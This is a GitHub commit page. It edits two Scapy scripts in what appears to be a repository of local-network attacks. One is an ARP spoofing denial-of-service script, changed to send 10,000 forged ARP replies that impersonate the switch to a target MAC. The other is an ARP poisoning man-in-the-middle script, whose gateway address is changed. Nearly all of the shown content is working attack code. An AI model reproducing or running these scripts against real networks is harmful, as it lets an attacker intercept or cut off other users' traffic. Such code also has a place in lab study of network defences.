Skip to content

Commit

Permalink
Put target in ARP hwdst instead of broadcast
Browse files Browse the repository at this point in the history
  • Loading branch information
adangla committed Aug 13, 2019
1 parent a6b81b3 commit 25be571
Show file tree
Hide file tree
Showing 2 changed files with 3 additions and 3 deletions.
4 changes: 2 additions & 2 deletions denial_of_service/arp_dos.py
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
from scapy.all import *

target_mac = "bc:5f:f4:d0:85:9f"
target_mac = "98:e7:f4:5e:49:80"
switch_ip = "192.168.0.1"

sendp(Ether(dst=target_mac)/ARP(op=2, hwdst="ff:ff:ff:ff:ff:ff", psrc=switch_ip))
sendp(Ether(dst=target_mac)/ARP(op=2, hwdst=target_mac, psrc=switch_ip), count = 10000)
2 changes: 1 addition & 1 deletion man_in_the_middle/arp_poison.py
Original file line number Diff line number Diff line change
Expand Up @@ -5,7 +5,7 @@
import threading
import time

gw_ip = "192.168.0.45"
gw_ip = "192.168.0.21"
target_ip = "192.168.0.2"
broadcast = "ff:ff:ff:ff:ff:ff"

Expand Down

0 comments on commit 25be571

Please sign in to comment.